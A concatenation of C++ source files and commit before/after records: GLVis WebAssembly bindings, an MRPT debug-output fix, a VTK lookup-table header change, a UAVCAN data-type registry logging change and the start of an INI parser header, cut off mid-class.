\"parsing 'valuerange'\" << std::endl;\n ss >> minv >> maxv;\n }\n else\n {\n std::cout << \"unknown line '\" << line << \"'\" << std::endl;\n }\n }\n\n if (field_type < 0 || field_type > 2)\n {\n return false;\n }\n\n if (InitVisualization(\"glvis\", 0, 0, w, h))\n {\n return false;\n }\n\n delete vs;\n vs = nullptr;\n\n double mesh_range = -1.0;\n if (field_type == 0 || field_type == 2)\n {\n if (stream_state.grid_f)\n {\n stream_state.grid_f->GetNodalValues(stream_state.sol);\n }\n if (stream_state.mesh->SpaceDimension() == 2)\n {\n VisualizationSceneSolution * vss;\n if (stream_state.normals.Size() > 0)\n {\n vs = vss = new VisualizationSceneSolution(*stream_state.mesh, stream_state.sol,\n &stream_state.normals);\n }\n else\n {\n vs = vss = new VisualizationSceneSolution(*stream_state.mesh, stream_state.sol);\n }\n if (stream_state.grid_f)\n {\n vss->SetGridFunction(*stream_state.grid_f);\n }\n if (field_type == 2)\n {\n vs->OrthogonalProjection = 1;\n vs->SetLight(0);\n vs->Zoom(1.8);\n \/\/ Use the 'bone' palette when visualizing a 2D mesh only (otherwise\n \/\/ the 'jet-like' palette is used in 2D, see vssolution.cpp).\n paletteSet(4);\n }\n }\n else if (stream_state.mesh->SpaceDimension() == 3)\n {\n VisualizationSceneSolution3d * vss;\n vs = vss = new VisualizationSceneSolution3d(*stream_state.mesh,\n stream_state.sol);\n if (stream_state.grid_f)\n {\n vss->SetGridFunction(stream_state.grid_f);\n }\n if (field_type == 2)\n {\n if (stream_state.mesh->Dimension() == 3)\n {\n \/\/ Use the 'white' palette when visualizing a 3D volume mesh only\n \/\/ paletteSet(4);\n paletteSet(11);\n vss->SetLightMatIdx(4);\n }\n else\n {\n \/\/ Use the 'bone' palette when visualizing a surface mesh only\n \/\/ (the same as when visualizing a 2D mesh only)\n paletteSet(4);\n }\n \/\/ Otherwise, the 'vivid' palette is used in 3D see vssolution3d.cpp\n\n vss->ToggleDrawAxes();\n vss->ToggleDrawMesh();\n }\n }\n if (field_type == 2)\n {\n if (stream_state.grid_f)\n {\n mesh_range = stream_state.grid_f->Max() + 1.0;\n }\n else\n {\n mesh_range = stream_state.sol.Max() + 1.0;\n }\n }\n }\n else if (field_type == 1)\n {\n if (stream_state.mesh->SpaceDimension() == 2)\n {\n if (stream_state.grid_f)\n {\n vs = new VisualizationSceneVector(*stream_state.grid_f);\n }\n else\n {\n vs = new VisualizationSceneVector(*stream_state.mesh, stream_state.solu,\n stream_state.solv);\n }\n }\n else if (stream_state.mesh->SpaceDimension() == 3)\n {\n if (stream_state.grid_f)\n {\n stream_state.grid_f = ProjectVectorFEGridFunction(stream_state.grid_f);\n vs = new VisualizationSceneVector3d(*stream_state.grid_f);\n }\n else\n {\n vs = new VisualizationSceneVector3d(*stream_state.mesh, stream_state.solu,\n stream_state.solv, stream_state.solw);\n }\n }\n }\n\n if (vs)\n {\n \/\/ increase the refinement factors if visualizing a GridFunction\n if (stream_state.grid_f)\n {\n vs->AutoRefine();\n vs->SetShading(2, true);\n }\n if (mesh_range > 0.0)\n {\n vs->SetValueRange(-mesh_range, mesh_range);\n vs->SetAutoscale(0);\n }\n if (stream_state.mesh->SpaceDimension() == 2 && field_type == 2)\n {\n SetVisualizationScene(vs, 2);\n }\n else\n {\n SetVisualizationScene(vs, 3);\n }\n }\n\n CallKeySequence(stream_state.keys.c_str());\n\n if (minv || maxv)\n {\n vs->SetValueRange(minv, maxv);\n }\n\n SendExposeEvent();\n return true;\n}\n\n\nint updateVisualization(std::string data_type, std::string stream)\n{\n std::stringstream ss(stream);\n\n if (data_type != \"solution\")\n {\n std::cerr << \"unsupported data type '\" << data_type << \"' for stream update\" <<\n std::endl;\n return 1;\n }\n\n auto * new_m = new Mesh(ss, 1, 0, stream_state.fix_elem_orient);\n auto * new_g = new GridFunction(new_m, ss);\n double mesh_range = -1.0;\n\n if (new_m->SpaceDimension() == stream_state.mesh->SpaceDimension() &&\n new_g->VectorDim() == stream_state.grid_f->VectorDim())\n {\n if (new_m->SpaceDimension() == 2)\n {\n if (new_g->VectorDim() == 1)\n {\n VisualizationSceneSolution *vss =\n dynamic_cast<VisualizationSceneSolution *>(vs);\n new_g->GetNodalValues(stream_state.sol);\n vss->NewMeshAndSolution(new_m, &stream_state.sol, new_g);\n }\n else\n {\n VisualizationSceneVector *vsv =\n dynamic_cast<VisualizationSceneVector *>(vs);\n vsv->NewMeshAndSolution(*new_g);\n }\n }\n else\n {\n if (new_g->VectorDim() == 1)\n {\n VisualizationSceneSolution3d *vss =\n dynamic_cast<VisualizationSceneSolution3d *>(vs);\n new_g->GetNodalValues(stream_state.sol);\n vss->NewMeshAndSolution(new_m, &stream_state.sol, new_g);\n }\n else\n {\n new_g = ProjectVectorFEGridFunction(new_g);\n VisualizationSceneVector3d *vss =\n dynamic_cast<VisualizationSceneVector3d *>(vs);\n vss->NewMeshAndSolution(new_m, new_g);\n }\n }\n if (mesh_range > 0.0)\n {\n vs->SetValueRange(-mesh_range, mesh_range);\n }\n\n delete stream_state.grid_f;\n stream_state.grid_f = new_g;\n delete stream_state.mesh;\n stream_state.mesh = new_m;\n\n SendExposeEvent();\n return 0;\n }\n else\n {\n cout << \"Stream: field type does not match!\" << endl;\n delete new_g;\n delete new_m;\n return 1;\n }\n}\n\nvoid iterVisualization()\n{\n GetAppWindow()->mainIter();\n}\n\nvoid setCanvasId(const std::string & id)\n{\n std::cout << \"glvis: setting canvas id to \" << id << std::endl;\n GetAppWindow()->setCanvasId(id);\n}\n\nvoid disableKeyHandling()\n{\n SDL_EventState(SDL_KEYDOWN, SDL_DISABLE);\n SDL_EventState(SDL_KEYUP, SDL_DISABLE);\n}\n\nvoid enableKeyHandling()\n{\n SDL_EventState(SDL_KEYDOWN, SDL_ENABLE);\n SDL_EventState(SDL_KEYUP, SDL_ENABLE);\n}\n\nvoid setKeyboardListeningElementId(const std::string & id)\n{\n SDL_SetHint(SDL_HINT_EMSCRIPTEN_KEYBOARD_ELEMENT, id.c_str());\n}\n\nvoid setupResizeEventCallback(const std::string & id)\n{\n \/\/ typedef EM_BOOL (*em_ui_callback_func)(int eventType, const EmscriptenUiEvent *uiEvent, void *userData);\n std::cout << \"glvis: adding resize callback for \" << id << std::endl;\n auto err = emscripten_set_resize_callback(id.c_str(), nullptr,\n true, [](int eventType, const EmscriptenUiEvent *uiEvent,\n void *userData) -> EM_BOOL\n {\n std::cout << \"got resize event\" << std::endl;\n return true;\n });\n \/\/ TODO: macro to wrap this\n if (err != EMSCRIPTEN_RESULT_SUCCESS)\n {\n std::cerr << \"error (emscripten_set_resize_callback): \" << err << std::endl;\n }\n}\n\nstd::string getHelpString()\n{\n VisualizationSceneScalarData* vss\n = dynamic_cast<VisualizationSceneScalarData*>(GetVisualizationScene());\n return vss->GetHelpString();\n}\n} \/\/ namespace js\n\nnamespace em = emscripten;\nEMSCRIPTEN_BINDINGS(js_funcs)\n{\n em::function(\"startVisualization\", &js::startVisualization);\n em::function(\"updateVisualization\", &js::updateVisualization);\n em::function(\"iterVisualization\", &js::iterVisualization);\n em::function(\"sendExposeEvent\", &SendExposeEvent);\n em::function(\"disableKeyHanding\", &js::disableKeyHandling);\n em::function(\"enableKeyHandling\", &js::enableKeyHandling);\n em::function(\"setKeyboardListeningElementId\",\n js::setKeyboardListeningElementId);\n em::function(\"getTextureMode\", &GetUseTexture);\n em::function(\"setTextureMode\", &SetUseTexture);\n em::function(\"resizeWindow\", &ResizeWindow);\n em::function(\"setCanvasId\", &js::setCanvasId);\n em::function(\"setupResizeEventCallback\", &js::setupResizeEventCallback);\n em::function(\"getHelpString\", &js::getHelpString);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* +---------------------------------------------------------------------------+\n | The Mobile Robot Programming Toolkit (MRPT) |\n | |\n | http:\/\/www.mrpt.org\/ |\n | |\n | Copyright (c) 2005-2013, Individual contributors, see AUTHORS file |\n | Copyright (c) 2005-2013, MAPIR group, University of Malaga |\n | Copyright (c) 2012-2013, University of Almeria |\n | All rights reserved. |\n | |\n | Redistribution and use in source and binary forms, with or without |\n | modification, are permitted provided that the following conditions are |\n | met: |\n | * Redistributions of source code must retain the above copyright |\n | notice, this list of conditions and the following disclaimer. |\n | * Redistributions in binary form must reproduce the above copyright |\n | notice, this list of conditions and the following disclaimer in the |\n | documentation and\/or other materials provided with the distribution. |\n | * Neither the name of the copyright holders nor the |\n | names of its contributors may be used to endorse or promote products |\n | derived from this software without specific prior written permission.|\n | |\n | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS |\n | 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED |\n | TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR|\n | PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE |\n | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL|\n | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR|\n | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) |\n | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, |\n | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN |\n | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE |\n | POSSIBILITY OF SUCH DAMAGE. |\n +---------------------------------------------------------------------------+ *\/\n\n#include <mrpt\/base.h> \/\/ Precompiled headers\n\n#include <mrpt\/utils\/CDebugOutputCapable.h>\n#include <mrpt\/system\/memory.h>\n\n#ifdef MRPT_OS_WINDOWS\n\t#define WIN32_LEAN_AND_MEAN\n\t#include <windows.h>\n#endif\n\n\n#include <cstdarg>\n#include <iostream>\n\nusing namespace mrpt::utils;\nusing namespace mrpt::system;\n\n\n\/*---------------------------------------------------------------\n\t\t\t\t\tprintf_debug\n ---------------------------------------------------------------*\/\nvoid CDebugOutputCapable::printf_debug( const char *fmt, ... )\n{\n\tif (!fmt) return;\n\n\tint result = -1, length = 1024;\n\tstd::vector<char> buffer;\n\twhile (result == -1)\n\t{\n\t\tbuffer.resize(length + 10);\n\n\t\tva_list args; \/\/ This must be done WITHIN the loop\n\t\tva_start(args,fmt);\n\t\tresult = os::vsnprintf(&buffer[0], length, fmt, args);\n\t\tva_end(args);\n\n\t\t\/\/ Truncated?\n\t\tif (result>=length) result=-1;\n\t\tlength*=2;\n\t}\n\n\t\/\/ Output:\n\tstd::cout << &buffer[0];\n\n#ifdef MRPT_OS_WINDOWS\n\tOutputDebugStringA(&buffer[0]);\n#endif\n}\n<commit_msg>CDebugOutputCapable: enable Output to MSVC out window only when compiling in MSVC<commit_after>\/* +---------------------------------------------------------------------------+\n | The Mobile Robot Programming Toolkit (MRPT) |\n | |\n | http:\/\/www.mrpt.org\/ |\n | |\n | Copyright (c) 2005-2013, Individual contributors, see AUTHORS file |\n | Copyright (c) 2005-2013, MAPIR group, University of Malaga |\n | Copyright (c) 2012-2013, University of Almeria |\n | All rights reserved. |\n | |\n | Redistribution and use in source and binary forms, with or without |\n | modification, are permitted provided that the following conditions are |\n | met: |\n | * Redistributions of source code must retain the above copyright |\n | notice, this list of conditions and the following disclaimer. |\n | * Redistributions in binary form must reproduce the above copyright |\n | notice, this list of conditions and the following disclaimer in the |\n | documentation and\/or other materials provided with the distribution. |\n | * Neither the name of the copyright holders nor the |\n | names of its contributors may be used to endorse or promote products |\n | derived from this software without specific prior written permission.|\n | |\n | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS |\n | 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED |\n | TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR|\n | PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE |\n | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL|\n | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR|\n | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) |\n | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, |\n | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN |\n | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE |\n | POSSIBILITY OF SUCH DAMAGE. |\n +---------------------------------------------------------------------------+ *\/\n\n#include <mrpt\/base.h> \/\/ Precompiled headers\n\n#include <mrpt\/utils\/CDebugOutputCapable.h>\n#include <mrpt\/system\/memory.h>\n\n#ifdef MRPT_OS_WINDOWS\n\t#define WIN32_LEAN_AND_MEAN\n\t#include <windows.h>\n#endif\n\n\n#include <cstdarg>\n#include <iostream>\n\nusing namespace mrpt::utils;\nusing namespace mrpt::system;\n\n\n\/*---------------------------------------------------------------\n\t\t\t\t\tprintf_debug\n ---------------------------------------------------------------*\/\nvoid CDebugOutputCapable::printf_debug( const char *fmt, ... )\n{\n\tif (!fmt) return;\n\n\tint result = -1, length = 1024;\n\tstd::vector<char> buffer;\n\twhile (result == -1)\n\t{\n\t\tbuffer.resize(length + 10);\n\n\t\tva_list args; \/\/ This must be done WITHIN the loop\n\t\tva_start(args,fmt);\n\t\tresult = os::vsnprintf(&buffer[0], length, fmt, args);\n\t\tva_end(args);\n\n\t\t\/\/ Truncated?\n\t\tif (result>=length) result=-1;\n\t\tlength*=2;\n\t}\n\n\t\/\/ Output:\n\tstd::cout << &buffer[0];\n\n#ifdef _MSC_VER\n\tOutputDebugStringA(&buffer[0]);\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ LookupTable takes PolyData as input\n\/\/\n#ifndef __vlLookupTable_h\n#define __vlLookupTable_h\n\n#include \"Object.hh\"\n#include \"RGBArray.hh\"\n\nclass vlLookupTable : public vlObject \n{\npublic:\n vlLookupTable();\n int Initialize(const int sz=256, const int ext=256);\n int GetTableSize();\n void Build();\n\n vlSetVector2Macro(TableRange,float);\n vlGetVectorMacro(TableRange,float);\n\n vlSetVector2Macro(HueRange,float);\n vlGetVectorMacro(HueRange,float);\n\n vlSetVector2Macro(SaturationRange,float);\n vlGetVectorMacro(SaturationRange,float);\n\n vlSetVector2Macro(ValueRange,float);\n vlGetVectorMacro(ValueRange,float);\n\n vlRGBColor &MapValue(float v);\n void SetTableValue (int indx, vlRGBColor &rgb_c);\n vlRGBColor &GetTableValue (int);\n\nprotected:\n vlRGBArray Table; \n float TableRange[2];\n float HueRange[2];\n float SaturationRange[2];\n float ValueRange[2];\n\n};\n\n#endif\n\n\n<commit_msg>ENH: Removed interface using RGBColor.<commit_after>\/\/\n\/\/ LookupTable takes PolyData as input\n\/\/\n#ifndef __vlLookupTable_h\n#define __vlLookupTable_h\n\n#include \"Object.hh\"\n#include \"RGBArray.hh\"\n\nclass vlLookupTable : public vlObject \n{\npublic:\n vlLookupTable();\n int Initialize(const int sz=256, const int ext=256);\n int GetTableSize();\n void Build();\n\n vlSetVector2Macro(TableRange,float);\n vlGetVectorMacro(TableRange,float);\n\n vlSetVector2Macro(HueRange,float);\n vlGetVectorMacro(HueRange,float);\n\n vlSetVector2Macro(SaturationRange,float);\n vlGetVectorMacro(SaturationRange,float);\n\n vlSetVector2Macro(ValueRange,float);\n vlGetVectorMacro(ValueRange,float);\n\n float *MapValue(float v);\n void SetTableValue (int indx, float rgb[3]);\n float *GetTableValue (int);\n\nprotected:\n vlRGBArray Table; \n float TableRange[2];\n float HueRange[2];\n float SaturationRange[2];\n float ValueRange[2];\n\n};\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>\n *\/\n\n#include <cassert>\n#include <cstdlib>\n#include <uavcan\/global_data_type_registry.hpp>\n#include <uavcan\/internal\/debug.hpp>\n\nnamespace uavcan\n{\n\nconst GlobalDataTypeRegistry::List* GlobalDataTypeRegistry::selectList(DataTypeKind kind) const\n{\n switch (kind)\n {\n case DataTypeKindMessage: return &msgs_;\n case DataTypeKindService: return &srvs_;\n default:\n assert(0);\n return NULL;\n }\n}\n\nGlobalDataTypeRegistry::List* GlobalDataTypeRegistry::selectList(DataTypeKind kind)\n{\n switch (kind)\n {\n case DataTypeKindMessage: return &msgs_;\n case DataTypeKindService: return &srvs_;\n default:\n assert(0);\n return NULL;\n }\n}\n\nGlobalDataTypeRegistry::RegistResult GlobalDataTypeRegistry::remove(Entry* dtd)\n{\n if (!dtd)\n {\n assert(0);\n return RegistResultInvalidParams;\n }\n if (isFrozen())\n return RegistResultFrozen;\n\n List* list = selectList(dtd->descriptor.getKind());\n if (!list)\n return RegistResultInvalidParams;\n\n list->remove(dtd); \/\/ If this call came from regist<>(), that would be enough\n Entry* p = list->get(); \/\/ But anyway\n while (p)\n {\n Entry* const next = p->getNextListNode();\n if (p->descriptor.match(dtd->descriptor.getKind(), dtd->descriptor.getFullName()))\n list->remove(p);\n p = next;\n }\n return RegistResultOk;\n}\n\nGlobalDataTypeRegistry::RegistResult GlobalDataTypeRegistry::registImpl(Entry* dtd)\n{\n if (!dtd || (dtd->descriptor.getID() > DataTypeID::Max))\n {\n assert(0);\n return RegistResultInvalidParams;\n }\n if (isFrozen())\n return RegistResultFrozen;\n\n List* list = selectList(dtd->descriptor.getKind());\n if (!list)\n return RegistResultInvalidParams;\n\n { \/\/ Collision check\n Entry* p = list->get();\n while (p)\n {\n if (p->descriptor.getID() == dtd->descriptor.getID()) \/\/ ID collision\n return RegistResultCollision;\n if (!std::strcmp(p->descriptor.getFullName(), dtd->descriptor.getFullName())) \/\/ Name collision\n return RegistResultCollision;\n p = p->getNextListNode();\n }\n }\n list->insertBefore(dtd, EntryInsertionComparator(dtd));\n\n#if UAVCAN_DEBUG\n { \/\/ Order check\n Entry* p = list->get();\n int id = -1;\n while (p)\n {\n if (id >= p->descriptor.getID().get())\n {\n assert(0);\n std::abort();\n }\n id = p->descriptor.getID().get();\n p = p->getNextListNode();\n }\n }\n#endif\n return RegistResultOk;\n}\n\nGlobalDataTypeRegistry& GlobalDataTypeRegistry::instance()\n{\n static GlobalDataTypeRegistry inst;\n return inst;\n}\n\nvoid GlobalDataTypeRegistry::freeze()\n{\n if (!frozen_)\n {\n frozen_ = true;\n UAVCAN_TRACE(\"GlobalDataTypeRegistry\", \"Frozen\");\n }\n}\n\nconst DataTypeDescriptor* GlobalDataTypeRegistry::find(DataTypeKind kind, const char* name) const\n{\n const List* list = selectList(kind);\n if (!list)\n {\n assert(0);\n return NULL;\n }\n Entry* p = list->get();\n while (p)\n {\n if (p->descriptor.match(kind, name))\n return &p->descriptor;\n p = p->getNextListNode();\n }\n return NULL;\n}\n\nDataTypeSignature GlobalDataTypeRegistry::computeAggregateSignature(DataTypeKind kind,\n DataTypeIDMask& inout_id_mask) const\n{\n assert(isFrozen()); \/\/ Computing the signature if the registry is not frozen is pointless\n\n const List* list = selectList(kind);\n if (!list)\n {\n assert(0);\n return DataTypeSignature();\n }\n\n int prev_dtid = -1;\n DataTypeSignature signature;\n bool signature_initialized = false;\n Entry* p = list->get();\n while (p)\n {\n const DataTypeDescriptor& desc = p->descriptor;\n const int dtid = desc.getID().get();\n\n if (inout_id_mask[dtid])\n {\n if (signature_initialized)\n signature.extend(desc.getSignature());\n else\n signature = DataTypeSignature(desc.getSignature());\n signature_initialized = true;\n }\n\n assert(prev_dtid < dtid); \/\/ Making sure that list is ordered properly\n prev_dtid++;\n while (prev_dtid < dtid)\n inout_id_mask[prev_dtid++] = false; \/\/ Erasing bits for missing types\n assert(prev_dtid == dtid);\n\n p = p->getNextListNode();\n }\n prev_dtid++;\n while (prev_dtid <= DataTypeID::Max)\n inout_id_mask[prev_dtid++] = false;\n\n return signature;\n}\n\nvoid GlobalDataTypeRegistry::getDataTypeIDMask(DataTypeKind kind, DataTypeIDMask& mask) const\n{\n mask.reset();\n const List* list = selectList(kind);\n if (!list)\n {\n assert(0);\n return;\n }\n Entry* p = list->get();\n while (p)\n {\n assert(p->descriptor.getKind() == kind);\n mask[p->descriptor.getID().get()] = true;\n p = p->getNextListNode();\n }\n}\n\n}\n<commit_msg>Added logging for GDTR<commit_after>\/*\n * Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>\n *\/\n\n#include <cassert>\n#include <cstdlib>\n#include <uavcan\/global_data_type_registry.hpp>\n#include <uavcan\/internal\/debug.hpp>\n\nnamespace uavcan\n{\n\nconst GlobalDataTypeRegistry::List* GlobalDataTypeRegistry::selectList(DataTypeKind kind) const\n{\n switch (kind)\n {\n case DataTypeKindMessage: return &msgs_;\n case DataTypeKindService: return &srvs_;\n default:\n assert(0);\n return NULL;\n }\n}\n\nGlobalDataTypeRegistry::List* GlobalDataTypeRegistry::selectList(DataTypeKind kind)\n{\n switch (kind)\n {\n case DataTypeKindMessage: return &msgs_;\n case DataTypeKindService: return &srvs_;\n default:\n assert(0);\n return NULL;\n }\n}\n\nGlobalDataTypeRegistry::RegistResult GlobalDataTypeRegistry::remove(Entry* dtd)\n{\n if (!dtd)\n {\n assert(0);\n return RegistResultInvalidParams;\n }\n if (isFrozen())\n return RegistResultFrozen;\n\n List* list = selectList(dtd->descriptor.getKind());\n if (!list)\n return RegistResultInvalidParams;\n\n list->remove(dtd); \/\/ If this call came from regist<>(), that would be enough\n Entry* p = list->get(); \/\/ But anyway\n while (p)\n {\n Entry* const next = p->getNextListNode();\n if (p->descriptor.match(dtd->descriptor.getKind(), dtd->descriptor.getFullName()))\n list->remove(p);\n p = next;\n }\n return RegistResultOk;\n}\n\nGlobalDataTypeRegistry::RegistResult GlobalDataTypeRegistry::registImpl(Entry* dtd)\n{\n if (!dtd || (dtd->descriptor.getID() > DataTypeID::Max))\n {\n assert(0);\n return RegistResultInvalidParams;\n }\n if (isFrozen())\n return RegistResultFrozen;\n\n List* list = selectList(dtd->descriptor.getKind());\n if (!list)\n return RegistResultInvalidParams;\n\n { \/\/ Collision check\n Entry* p = list->get();\n while (p)\n {\n if (p->descriptor.getID() == dtd->descriptor.getID()) \/\/ ID collision\n return RegistResultCollision;\n if (!std::strcmp(p->descriptor.getFullName(), dtd->descriptor.getFullName())) \/\/ Name collision\n return RegistResultCollision;\n p = p->getNextListNode();\n }\n }\n list->insertBefore(dtd, EntryInsertionComparator(dtd));\n\n#if UAVCAN_DEBUG\n { \/\/ Order check\n Entry* p = list->get();\n int id = -1;\n while (p)\n {\n if (id >= p->descriptor.getID().get())\n {\n assert(0);\n std::abort();\n }\n id = p->descriptor.getID().get();\n p = p->getNextListNode();\n }\n }\n#endif\n return RegistResultOk;\n}\n\nGlobalDataTypeRegistry& GlobalDataTypeRegistry::instance()\n{\n static GlobalDataTypeRegistry inst;\n return inst;\n}\n\nvoid GlobalDataTypeRegistry::freeze()\n{\n if (!frozen_)\n {\n frozen_ = true;\n UAVCAN_TRACE(\"GlobalDataTypeRegistry\", \"Frozen; num msgs: %u, num srvs: %u\",\n getNumMessageTypes(), getNumServiceTypes());\n }\n}\n\nconst DataTypeDescriptor* GlobalDataTypeRegistry::find(DataTypeKind kind, const char* name) const\n{\n const List* list = selectList(kind);\n if (!list)\n {\n assert(0);\n return NULL;\n }\n Entry* p = list->get();\n while (p)\n {\n if (p->descriptor.match(kind, name))\n return &p->descriptor;\n p = p->getNextListNode();\n }\n return NULL;\n}\n\nDataTypeSignature GlobalDataTypeRegistry::computeAggregateSignature(DataTypeKind kind,\n DataTypeIDMask& inout_id_mask) const\n{\n assert(isFrozen()); \/\/ Computing the signature if the registry is not frozen is pointless\n\n const List* list = selectList(kind);\n if (!list)\n {\n assert(0);\n return DataTypeSignature();\n }\n\n int prev_dtid = -1;\n DataTypeSignature signature;\n bool signature_initialized = false;\n Entry* p = list->get();\n while (p)\n {\n const DataTypeDescriptor& desc = p->descriptor;\n const int dtid = desc.getID().get();\n\n if (inout_id_mask[dtid])\n {\n if (signature_initialized)\n signature.extend(desc.getSignature());\n else\n signature = DataTypeSignature(desc.getSignature());\n signature_initialized = true;\n }\n\n assert(prev_dtid < dtid); \/\/ Making sure that list is ordered properly\n prev_dtid++;\n while (prev_dtid < dtid)\n inout_id_mask[prev_dtid++] = false; \/\/ Erasing bits for missing types\n assert(prev_dtid == dtid);\n\n p = p->getNextListNode();\n }\n prev_dtid++;\n while (prev_dtid <= DataTypeID::Max)\n inout_id_mask[prev_dtid++] = false;\n\n return signature;\n}\n\nvoid GlobalDataTypeRegistry::getDataTypeIDMask(DataTypeKind kind, DataTypeIDMask& mask) const\n{\n mask.reset();\n const List* list = selectList(kind);\n if (!list)\n {\n assert(0);\n return;\n }\n Entry* p = list->get();\n while (p)\n {\n assert(p->descriptor.getKind() == kind);\n mask[p->descriptor.getID().get()] = true;\n p = p->getNextListNode();\n }\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2014 Jake Horsfield\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#ifndef INI_PARSER_H\n#define INI_PARSER_H\n\n#include <map>\n#include <string>\n#include <vector>\n#include <utility>\n#include <fstream>\n#include <stdexcept>\n\n\/* \n * Adds support for functions not available in minGW.\n * http:\/\/pastebin.com\/KMTd7Xtk#\n *\/\n#ifdef __MINGW32__\nnamespace std\n{\n template <class T> std::string to_string(T val)\n {\n std::stringstream ss;\n ss << val;\n return ss.str();\n }\n\n int stoi(const std::string& str)\n {\n std::stringstream ss;\n int ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n\n long stol(const std::string& str)\n {\n std::stringstream ss;\n long ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n\n float stof(const std::string& str)\n {\n std::stringstream ss;\n float ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n\n double stod(const std::string& str)\n {\n std::stringstream ss;\n double ret;\n ss << str;\n ss >> ret;\n return ret;\n }\n}\n#endif \/\/ __MINGW32__\n\nclass ini_parser\n{\n public:\n ini_parser(const std::string& filename)\n : filename(filename)\n , current_section(\"\")\n {\n parse(filename);\n }\n\n void create_property(const std::string& name, const std::string& value, const std::string& section = \"\")\n {\n if (name.empty() || value.empty())\n {\n throw std::runtime_error(\"when creating a property, the name or value cannot be empty\");\n }\n\n if (section.empty())\n {\n create_property_no_section(name, value);\n }\n else\n {\n create_property_in_section(name, value, section);\n }\n }\n\n \/* Writes a new line at the bottom of the file, followed by the start of the section. *\/\n void create_section(const std::string& name)\n {\n if (name.empty())\n {\n throw std::runtime_error(\"when creating section, its name cannot be empty\");\n }\n\n std::string line = \"\\n[\" + name + \"]\";\n input.push_back(line);\n write_input_to_file();\n }\n\n int get_int(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stoi(sections.at(section).at(name));\n }\n\n \/*\n * The legal values for bools are BOOL_TRUE and BOOL_FALSE.\n * Anything other than these values are illegal.\n *\/\n bool get_bool(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n\n std::string value = sections.at(section).at(name);\n if (value == BOOL_TRUE)\n {\n return true;\n }\n else if (value == BOOL_FALSE)\n {\n return false;\n }\n else\n {\n throw std::runtime_error(\"unable to cast to bool\");\n }\n }\n\n long get_long(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stol(sections.at(section).at(name));\n }\n\n float get_float(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stof(sections.at(section).at(name));\n }\n\n double get_double(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return std::stod(sections.at(section).at(name));\n }\n\n std::string get_string(const std::string& name, const std::string& section = \"\") const\n {\n ensure_property_exists(section, name);\n return sections.at(section).at(name);\n }\n\n void set_value(const std::string& name, int value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, bool value, const std::string& section = \"\")\n {\n set_value(name, (value ? BOOL_TRUE : BOOL_FALSE), section);\n }\n\n void set_value(const std::string& name, long value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, float value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n void set_value(const std::string& name, double value, const std::string& section = \"\")\n {\n set_value(name, std::to_string(value), section);\n }\n\n 